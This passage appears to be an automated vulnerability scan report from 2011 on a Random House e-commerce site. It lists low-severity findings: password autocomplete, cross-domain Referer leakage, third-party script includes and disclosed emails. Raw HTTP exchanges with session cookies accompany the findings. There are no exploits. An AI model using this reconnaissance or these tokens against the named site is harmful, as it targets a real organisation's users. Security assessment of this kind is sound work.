The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET /account.do?from=randomhouse HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; RES_SESSIONID=212207240983843; ResonanceSegment=1; __qca=P0-874375948-1303855562358; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:06:29 GMT
Server: Apache
Set-Cookie: JSESSIONID=30BCBB9743BBB87336047B037BF512BF.ecommerce_wrk1; Path=/; Secure
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 16859


<!-- signIn.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...
<!-- End SiteCatalyst code version: H.17. -->
<form action="sign-in-submit.do" method="post" name="signInForm" type="org.apache.struts.validator.DynaValidatorForm">            
<div id="ecom_page_contents">
...[SNIP]...
<span class="ecom_login_field">
                               <input type="password" name="password" value="" size="30" />
                           </span>
...[SNIP]...

3.2. https://ecommerce.randomhouse.com/sign-in.do  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /sign-in.do

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET /sign-in.do?from=randomhouse HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
Referer: https://ecommerce.randomhouse.com/account.do?from=randomhouse
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; JSESSIONID=388CC68FD235E0B3FC2D6F4CD6E761C9.ecommerce_wrk1; SC_LINKS=%5B%5BB%5D%5D; CP=null*; mbox=check#true#1303855669|session#1303855598284-166145#1303857469|PC#1303855598284-166145#1366927609; s_cc=true; RES_SESSIONID=212207240983843; ResonanceSegment=1; s_sq=ranhcorporate%2Cranhrollup%3D%2526pid%253Dsignin%2526pidt%253D1%2526oid%253Dhttps%25253A//ecommerce.randomhouse.com/sign-in.do%25253Ffrom%25253Drandomhouse%2526ot%253DA

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:06:44 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 16851


<!-- signIn.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...
<!-- End SiteCatalyst code version: H.17. -->
<form action="sign-in-submit.do" method="post" name="signInForm" type="org.apache.struts.validator.DynaValidatorForm">            
<div id="ecom_page_contents">
...[SNIP]...
<span class="ecom_login_field">
                               <input type="password" name="password" value="" size="30" />
                           </span>
...[SNIP]...

4. Cross-domain Referer leakage  previous  next
There are 3 instances of this issue:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.


4.1. http://ecommerce.randomhouse.com/cart.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ecommerce.randomhouse.com
Path:   /cart.do

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /cart.do?from=randomhouse HTTP/1.1
Host: ecommerce.randomhouse.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; RES_SESSIONID=212207240983843; ResonanceSegment=1; __qca=P0-874375948-1303855562358; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:06:22 GMT
Server: Apache
Set-Cookie: JSESSIONID=99AF3E637ECB1D69552DA7E98D58C60F.ecommerce_wrk1; Path=/
Set-Cookie: rhcartitems=; Domain=.randomhouse.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 19400


<!-- shoppingCart.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...
<noscript><a href="http://www.omniture.com" title="Web Analytics"><img
src="http://randomhouse.122.2o7.net/b/ss/ranhdev/1/H.17--NS/0"
height="1" width="1" border="0" alt="" />
</a>
...[SNIP]...
<div style="text-align:right;margin-right:26px;">
       <a href="https://seal.verisign.com/splash?form_file=fdf/splash.fdf&dn=ecommerce.randomhouse.com&lang=en" onClick="return rh_js_PopWin('https://seal.verisign.com/splash?form_file=fdf/splash.fdf&dn=ecommerce.randomhouse.com&lang=en','VerisignLogo','width=550,height=450,resizable=1,scrollbars=1,toolbar=0,status=0,menubar=0');"><img src="store/images/rh/verisignlogo.gif" border="0" alt="Verisign Logo" />
...[SNIP]...
<div class="rhbw_rfloat">
                       <a href="http://www.bertelsmann.com/"><img src="store/images/rh/bw06/base/foot_logo_bmg.png" alt="Bertelsmann Media Worldwide" />
...[SNIP]...
</script>
<script type="text/javascript" src="//secure.quantserve.com/quant.js"></script>
<noscript>
<img src="//secure.quantserve.com/pixel/p-c49Y5WdLV8kPg.gif" style="display: none;" border="0" height="1" width="1" alt="Quantcast"/>
</noscript>
...[SNIP]...

4.2. https://ecommerce.randomhouse.com/account.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /account.do

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /account.do?from=randomhouse HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; RES_SESSIONID=212207240983843; ResonanceSegment=1; __qca=P0-874375948-1303855562358; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:06:29 GMT
Server: Apache
Set-Cookie: JSESSIONID=30BCBB9743BBB87336047B037BF512BF.ecommerce_wrk1; Path=/; Secure
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 16859


<!-- signIn.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...
<div style="text-align:right;margin-right:26px;">
       <a href="https://seal.verisign.com/splash?form_file=fdf/splash.fdf&dn=ecommerce.randomhouse.com&lang=en" onClick="return rh_js_PopWin('https://seal.verisign.com/splash?form_file=fdf/splash.fdf&dn=ecommerce.randomhouse.com&lang=en','VerisignLogo','width=550,height=450,resizable=1,scrollbars=1,toolbar=0,status=0,menubar=0');"><img src="store/images/rh/verisignlogo.gif" border="0" alt="Verisign Logo" />
...[SNIP]...
</script>
<script type="text/javascript" src="//secure.quantserve.com/quant.js"></script>
<noscript>
<img src="//secure.quantserve.com/pixel/p-c49Y5WdLV8kPg.gif" style="display: none;" border="0" height="1" width="1" alt="Quantcast"/>
</noscript>
...[SNIP]...

4.3. https://ecommerce.randomhouse.com/sign-in.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /sign-in.do

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /sign-in.do?from=randomhouse HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
Referer: https://ecommerce.randomhouse.com/account.do?from=randomhouse
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; JSESSIONID=388CC68FD235E0B3FC2D6F4CD6E761C9.ecommerce_wrk1; SC_LINKS=%5B%5BB%5D%5D; CP=null*; mbox=check#true#1303855669|session#1303855598284-166145#1303857469|PC#1303855598284-166145#1366927609; s_cc=true; RES_SESSIONID=212207240983843; ResonanceSegment=1; s_sq=ranhcorporate%2Cranhrollup%3D%2526pid%253Dsignin%2526pidt%253D1%2526oid%253Dhttps%25253A//ecommerce.randomhouse.com/sign-in.do%25253Ffrom%25253Drandomhouse%2526ot%253DA

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:06:44 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 16851


<!-- signIn.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...
<div style="text-align:right;margin-right:26px;">
       <a href="https://seal.verisign.com/splash?form_file=fdf/splash.fdf&dn=ecommerce.randomhouse.com&lang=en" onClick="return rh_js_PopWin('https://seal.verisign.com/splash?form_file=fdf/splash.fdf&dn=ecommerce.randomhouse.com&lang=en','VerisignLogo','width=550,height=450,resizable=1,scrollbars=1,toolbar=0,status=0,menubar=0');"><img src="store/images/rh/verisignlogo.gif" border="0" alt="Verisign Logo" />
...[SNIP]...
</script>
<script type="text/javascript" src="//secure.quantserve.com/quant.js"></script>
<noscript>
<img src="//secure.quantserve.com/pixel/p-c49Y5WdLV8kPg.gif" style="display: none;" border="0" height="1" width="1" alt="Quantcast"/>
</noscript>
...[SNIP]...

5. Cross-domain script include  previous  next
There are 3 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


5.1. http://ecommerce.randomhouse.com/cart.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ecommerce.randomhouse.com
Path:   /cart.do

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /cart.do?from=randomhouse HTTP/1.1
Host: ecommerce.randomhouse.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; RES_SESSIONID=212207240983843; ResonanceSegment=1; __qca=P0-874375948-1303855562358; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:06:22 GMT
Server: Apache
Set-Cookie: JSESSIONID=99AF3E637ECB1D69552DA7E98D58C60F.ecommerce_wrk1; Path=/
Set-Cookie: rhcartitems=; Domain=.randomhouse.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 19400


<!-- shoppingCart.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...
</script>
<script type="text/javascript" src="//secure.quantserve.com/quant.js"></script>
...[SNIP]...

5.2. https://ecommerce.randomhouse.com/account.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /account.do

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /account.do?from=randomhouse HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; RES_SESSIONID=212207240983843; ResonanceSegment=1; __qca=P0-874375948-1303855562358; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:06:29 GMT
Server: Apache
Set-Cookie: JSESSIONID=30BCBB9743BBB87336047B037BF512BF.ecommerce_wrk1; Path=/; Secure
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 16859


<!-- signIn.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...
</script>
<script type="text/javascript" src="//secure.quantserve.com/quant.js"></script>
...[SNIP]...

5.3. https://ecommerce.randomhouse.com/sign-in.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /sign-in.do

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /sign-in.do?from=randomhouse HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
Referer: https://ecommerce.randomhouse.com/account.do?from=randomhouse
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; JSESSIONID=388CC68FD235E0B3FC2D6F4CD6E761C9.ecommerce_wrk1; SC_LINKS=%5B%5BB%5D%5D; CP=null*; mbox=check#true#1303855669|session#1303855598284-166145#1303857469|PC#1303855598284-166145#1366927609; s_cc=true; RES_SESSIONID=212207240983843; ResonanceSegment=1; s_sq=ranhcorporate%2Cranhrollup%3D%2526pid%253Dsignin%2526pidt%253D1%2526oid%253Dhttps%25253A//ecommerce.randomhouse.com/sign-in.do%25253Ffrom%25253Drandomhouse%2526ot%253DA

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:06:44 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 16851


<!-- signIn.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...
</script>
<script type="text/javascript" src="//secure.quantserve.com/quant.js"></script>
...[SNIP]...

6. Email addresses disclosed  previous  next
There are 6 instances of this issue:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).


6.1. http://ecommerce.randomhouse.com/store/js/rh/ecom.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ecommerce.randomhouse.com
Path:   /store/js/rh/ecom.js

Issue detail

The following email address was disclosed in the response:

Request

GET /store/js/rh/ecom.js HTTP/1.1
Host: ecommerce.randomhouse.com
Proxy-Connection: keep-alive
Referer: http://ecommerce.randomhouse.com/cart.do?from=randomhouse
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; RES_SESSIONID=212207240983843; ResonanceSegment=1; __qca=P0-874375948-1303855562358; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; JSESSIONID=9D7F2B422015BC40089F4A74818D3783.ecommerce_wrk1

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:06:25 GMT
Server: Apache
Last-Modified: Wed, 02 Dec 2009 15:30:55 GMT
ETag: "a170-ced-8f7f29c0"
Accept-Ranges: bytes
Content-Length: 3309
Content-Type: application/x-javascript

function rh_js_PopWin(url,name,options){
var ContextWindow = window.open(url,name,options);
ContextWindow.focus();
return false;
}
function validateEmail(email) {
   var illegalChars = /[ \(\)\<\>
...[SNIP]...
<>[],;:\/#"'); return false; }
   if( email != "" && !emailFilter.test(email)) { alert("Your e-mail address must contain '@' and end in dot-something (e.g. 'myname@domain.com')"); return false; }
   return true;
}
function validateCreate(form) {
   if( form.firstName.value == '') {
       alert( 'First Name is required');
       return false;
   }
   if( form.lastName.value == '') {
       alert
...[SNIP]...

6.2. http://ecommerce.randomhouse.com/store/js/rh/prototype.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ecommerce.randomhouse.com
Path:   /store/js/rh/prototype.js

Issue detail

The following email address was disclosed in the response:

Request

GET /store/js/rh/prototype.js HTTP/1.1
Host: ecommerce.randomhouse.com
Proxy-Connection: keep-alive
Referer: http://ecommerce.randomhouse.com/cart.do?from=randomhouse
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; RES_SESSIONID=212207240983843; ResonanceSegment=1; __qca=P0-874375948-1303855562358; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; JSESSIONID=9D7F2B422015BC40089F4A74818D3783.ecommerce_wrk1

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:06:24 GMT
Server: Apache
Last-Modified: Tue, 05 Feb 2008 14:44:22 GMT
ETag: "a1de-7131-46b59d80"
Accept-Ranges: bytes
Content-Length: 28977
Content-Type: application/x-javascript

/* Prototype JavaScript framework, version 1.3.1
* (c) 2005 Sam Stephenson <sam@conio.net>
*
* THIS FILE IS AUTOMATICALLY GENERATED. When sending patches, please diff
* against the source
...[SNIP]...

6.3. http://ecommerce.randomhouse.com/store/js/rh/s_code.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ecommerce.randomhouse.com
Path:   /store/js/rh/s_code.js

Issue detail

The following email address was disclosed in the response:

Request

GET /store/js/rh/s_code.js HTTP/1.1
Host: ecommerce.randomhouse.com
Proxy-Connection: keep-alive
Referer: http://ecommerce.randomhouse.com/cart.do?from=randomhouse
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; RES_SESSIONID=212207240983843; ResonanceSegment=1; __qca=P0-874375948-1303855562358; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; JSESSIONID=9D7F2B422015BC40089F4A74818D3783.ecommerce_wrk1; mbox=check#true#1303855659|session#1303855598284-166145#1303857459|PC#1303855598284-166145#1366927599

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:06:28 GMT
Server: Apache
Last-Modified: Mon, 15 Dec 2008 15:25:36 GMT
ETag: "a7c7-5db6-74579c00"
Accept-Ranges: bytes
Content-Length: 23990
Content-Type: application/x-javascript

/* SiteCatalyst code version: H.17.
Copyright 1997-2008 Omniture, Inc. More info available at
http://www.omniture.com */
/************************ ADDITIONAL FEATURES ************************
Plu
...[SNIP]...
.hav()+q+(qs?qs:s."
+"rq(^C)),0,id,ta);qs`e;`Wm('t')`5s.p_r)s.p_r(`R`X`e}^7(qs);^z`p(@i;`l@i`L^9,`G$71',vb`R@G=^D=s.`N`i=s.`N^M=`F@0^y=s.ppu=^p=^pv1=^pv2=^pv3`e`5$x)`F@0@G=`F@0eo=`F@0`N`i=`F@0`N^M`e`5!id@Ls.tc#Ctc=1;s.f"
+"lush`a()}`2$m`Atl`0o,t,n,vo`1;s.@G=@wo`R`N^M=t;s.`N`i=n;s.t(@i}`5pg){`F@0co`0o){`K@J\"_\",1,#B`2@wo)`Awd@0gs`0$S{`K@J$p1,#B`2s.t()`Awd@0dc`0$S{`K@J$p#B`2s.t()}}@3=(`F`J`Y`8`4@us@d0`Rd=^L;
...[SNIP]...

6.4. https://ecommerce.randomhouse.com/store/js/rh/ecom.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /store/js/rh/ecom.js

Issue detail

The following email address was disclosed in the response:

Request

GET /store/js/rh/ecom.js HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
Referer: https://ecommerce.randomhouse.com/account.do?from=randomhouse
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; RES_SESSIONID=212207240983843; ResonanceSegment=1; __qca=P0-874375948-1303855562358; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; mbox=check#true#1303855659|session#1303855598284-166145#1303857459|PC#1303855598284-166145#1366927599; JSESSIONID=388CC68FD235E0B3FC2D6F4CD6E761C9.ecommerce_wrk1

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:06:34 GMT
Server: Apache
Last-Modified: Wed, 02 Dec 2009 15:30:55 GMT
ETag: "a170-ced-8f7f29c0"
Accept-Ranges: bytes
Content-Length: 3309
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: application/x-javascript

function rh_js_PopWin(url,name,options){
var ContextWindow = window.open(url,name,options);
ContextWindow.focus();
return false;
}
function validateEmail(email) {
   var illegalChars = /[ \(\)\<\>
...[SNIP]...
<>[],;:\/#"'); return false; }
   if( email != "" && !emailFilter.test(email)) { alert("Your e-mail address must contain '@' and end in dot-something (e.g. 'myname@domain.com')"); return false; }
   return true;
}
function validateCreate(form) {
   if( form.firstName.value == '') {
       alert( 'First Name is required');
       return false;
   }
   if( form.lastName.value == '') {
       alert
...[SNIP]...

6.5. https://ecommerce.randomhouse.com/store/js/rh/prototype.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /store/js/rh/prototype.js

Issue detail

The following email address was disclosed in the response:

Request

GET /store/js/rh/prototype.js HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
Referer: https://ecommerce.randomhouse.com/account.do?from=randomhouse
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; RES_SESSIONID=212207240983843; ResonanceSegment=1; __qca=P0-874375948-1303855562358; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; mbox=check#true#1303855659|session#1303855598284-166145#1303857459|PC#1303855598284-166145#1366927599; JSESSIONID=388CC68FD235E0B3FC2D6F4CD6E761C9.ecommerce_wrk1

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:06:32 GMT
Server: Apache
Last-Modified: Tue, 05 Feb 2008 14:44:22 GMT
ETag: "a1de-7131-46b59d80"
Accept-Ranges: bytes
Content-Length: 28977
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: application/x-javascript

/* Prototype JavaScript framework, version 1.3.1
* (c) 2005 Sam Stephenson <sam@conio.net>
*
* THIS FILE IS AUTOMATICALLY GENERATED. When sending patches, please diff
* against the source
...[SNIP]...

6.6. https://ecommerce.randomhouse.com/store/js/rh/s_code.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /store/js/rh/s_code.js

Issue detail

The following email address was disclosed in the response:

Request

GET /store/js/rh/s_code.js HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
Referer: https://ecommerce.randomhouse.com/account.do?from=randomhouse
